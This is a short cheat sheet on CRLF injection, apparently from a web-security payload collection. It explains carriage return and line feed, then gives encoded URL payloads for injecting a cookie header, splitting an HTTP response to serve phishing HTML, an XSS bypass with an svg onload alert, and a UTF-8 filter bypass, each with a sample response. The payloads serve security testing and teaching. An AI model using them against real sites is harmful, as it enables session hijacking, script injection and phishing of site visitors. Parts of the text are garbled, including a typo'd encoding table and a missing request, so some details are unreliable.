CRLF

The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today's popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.

A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.

CRLF - Add a cookie

Requested page

http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue

HTTP Response

Connection: keep-alive
Content-Length: 178
Content-Type: text/html

Date: Mon, 09 May 2016 14:47:29 GMT

Location: https://www.example.net/[INJECTION STARTS HERE]

Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN

X-Sucuri-ID: 15016

x-content-type-options: nosniff
x-xss-protection: 1; mode=block

CRLF - Add a cookie - XSS Bypass

Requested page

HTTP Response

Part HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8

Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0</pre>
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<svg onload=alert(document.domain)>

CRLF - Write HTML

Requested page

http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1
.1%20200%200K%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%200c
t%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20ha
ve%20been%20Phished%3C/html%3E

HTTP response

Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>You have been Phished</html>

CRLF - Filter Bypass

Using UTF-8 encoding

%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE

Remainder:

- %E5%98%8A = %oA = \u56oa
- %E5%98%8D = %oD = \u56od

- %E5%98%BE = %3E = \u563e (>)
- %E5%98%BC = %3C = \u563c (<)

Thanks to

- https://www.owasp.org/index.php/CRLF_Injection (https://www.owasp.org/index.php/CRLF_Injection)
- https://vulners.com/hackerone/H1:192749 (https://vulners.com/hackerone/H1:192749)